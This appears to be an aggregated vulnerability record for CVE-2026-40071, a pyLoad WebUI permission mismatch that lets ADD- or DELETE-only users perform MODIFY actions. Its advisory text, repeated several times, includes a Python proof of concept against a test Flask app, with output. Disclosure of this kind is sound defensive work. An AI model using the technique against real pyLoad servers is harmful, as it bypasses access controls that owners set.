CVE-2026-40071
pyLoad WebUI JSON permission mismatch lets ADD/DELETE users invoke MODIFY-only actions
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.4
pyLoad WebUI JSON permission mismatch lets ADD/DELETE users invoke MODIFY-only actions
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.
- Record
CVE-2026-40071- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
EUVDEUVD-2026-20998
5.4
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.
- Record
EUVD-2026-20998- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rfgh-63mg-8pwm
5.4
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADDuser can reorder packages/files (order_package,order_file) via/json/package_orderand/json/link_orderDELETEuser can abort downloads (stop_downloads) via/json/abort_link
Details
pyLoad defines granular permissions in core API:
order_packagerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1125)order_filerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1137)stop_downloadsrequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
/json/package_orderuses@login_required("ADD")then callsapi.order_package(...)(src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_orderuses@login_required("ADD")then callsapi.order_file(...)(src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_linkuses@login_required("DELETE")then callsapi.stop_downloads(...)(src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY:/json/move_package->@login_required("MODIFY")(json_blueprint.py:188-196)/json/edit_package->@login_required("MODIFY")(json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from…
- Record
GHSA-rfgh-63mg-8pwm- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-285, CWE-863
- Updated
- 2026-11-02
NVD
5.4
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.
- Record
CVE-2026-40071- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-863
- Updated
- 2026-11-02
OSVGHSA-rfgh-63mg-8pwm
5.4
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADDuser can reorder packages/files (order_package,order_file) via/json/package_orderand/json/link_orderDELETEuser can abort downloads (stop_downloads) via/json/abort_link
Details
pyLoad defines granular permissions in core API:
order_packagerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1125)order_filerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1137)stop_downloadsrequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
/json/package_orderuses@login_required("ADD")then callsapi.order_package(...)(src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_orderuses@login_required("ADD")then callsapi.order_file(...)(src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_linkuses@login_required("DELETE")then callsapi.stop_downloads(...)(src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY:/json/move_package->@login_required("MODIFY")(json_blueprint.py:188-196)/json/edit_package->@login_required("MODIFY")(json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from…
- Record
GHSA-rfgh-63mg-8pwm- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-285, CWE-863
- Updated
- 2026-11-02
OSVPYSEC-2026-2997
5.4
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADDuser can reorder packages/files (order_package,order_file) via/json/package_orderand/json/link_orderDELETEuser can abort downloads (stop_downloads) via/json/abort_link
Details
pyLoad defines granular permissions in core API:
order_packagerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1125)order_filerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1137)stop_downloadsrequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
/json/package_orderuses@login_required("ADD")then callsapi.order_package(...)(src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_orderuses@login_required("ADD")then callsapi.order_file(...)(src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_linkuses@login_required("DELETE")then callsapi.stop_downloads(...)(src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY:/json/move_package->@login_required("MODIFY")(json_blueprint.py:188-196)/json/edit_package->@login_required("MODIFY")(json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from…
- Record
PYSEC-2026-2997- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyload-ngPyPI |
before 0.5.0b3.dev97 | 0.5.0b3.dev97 |
pyload-ngPyPI |
before 0.5.0b3.dev97, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34 |
0.5.0b3.dev97 |
pyload-ngPyPI |
through 0.5.0b3, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev1000.5.0b3.dev1010.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev32 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-40071 is a medium vulnerability (CVSS 5.4) in Pyload, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in pyload-ng 0.5.0b3.dev97.
References
github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm
nvd.nist.gov/vuln/detail/CVE-2026-40071
github.com/pyload/pyload/commit/9ce88a8b01bed81aa17380c3288bb8c973e0859f
github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-2997.yaml
pypi.org/project/pyload-ng
github.com/advisories/GHSA-rfgh-63mg-8pwm
github.com/pyload/pyload
Left out here: 107 versions and the rest of 3 source descriptions. The JSON record has them.